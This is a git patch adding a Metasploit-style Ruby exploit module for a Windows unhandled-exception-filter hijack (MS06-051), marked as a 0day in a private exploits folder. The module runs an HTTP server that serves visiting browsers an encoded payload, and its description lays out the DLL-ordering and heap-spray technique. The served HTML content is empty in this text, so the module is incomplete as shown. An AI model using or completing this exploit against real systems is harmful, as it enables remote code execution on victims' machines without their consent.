From 86c400a8bd5d9d5ebf17093ca81dad2c8fac3426 Mon Sep 17 00:00:00 2001 From: Matt Miller Date: Tue, 8 Aug 2006 18:39:49 +0000 Subject: [PATCH] sup git-svn-id: file:///home/svn/framework3/trunk@3809 4d416f70-5f16-0410-b530-b9f4589650da --- .../private/ms06_051_unexceptfilter.rb | 191 ++++++++++++++++++ 1 file changed, 191 insertions(+) create mode 100644 modules/exploits/private/ms06_051_unexceptfilter.rb diff --git a/modules/exploits/private/ms06_051_unexceptfilter.rb b/modules/exploits/private/ms06_051_unexceptfilter.rb new file mode 100644 index 0000000000..3a6dda6f7c --- /dev/null +++ b/modules/exploits/private/ms06_051_unexceptfilter.rb @@ -0,0 +1,191 @@ +require 'msf/core' + +module Msf + +class Exploits::Private::IeUnexpFilt < Msf::Exploit::Remote + + include Exploit::Remote::HttpServer::Html + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MS06-051 Unhandled Exception Filter Hijack', + 'Description' => %q{ + This module exploits a design error in the way that the unhandled + exception filter chain is managed. By loading and unloading DLLs + that register UEFs in the proper order, it is possible to cause + the top-level unhandled exception filter to point to an invalid + memory address. Using heap spraying techniques, it is possible + to place attacker controlled code at the location that the top-level + unhandled exception filter points. Generating an unhandled + exception then leads to code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'skape', + ], + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + # 0day + ], + 'Payload' => + { + 'Space' => 1000, + 'MaxNops' => 0 + }, + 'Targets' => + [ + # Target 0: Automatic + [ + 'Windows NT/2000/XP/2003 Automatic', + { + 'Platform' => 'win', + }, + ], + ], + 'DefaultTarget' => 0)) + end + + def on_request_uri(cli, request) + p = payload + + # Re-generate the payload + return if (request.qstring['window'].nil? and (p = regenerate_payload(cli)) == nil) + + hex = p.encoded.unpack('H*')[0] + content = + ""; + + # Transmit the response to the client + send_response(cli, content) + end + +end + +end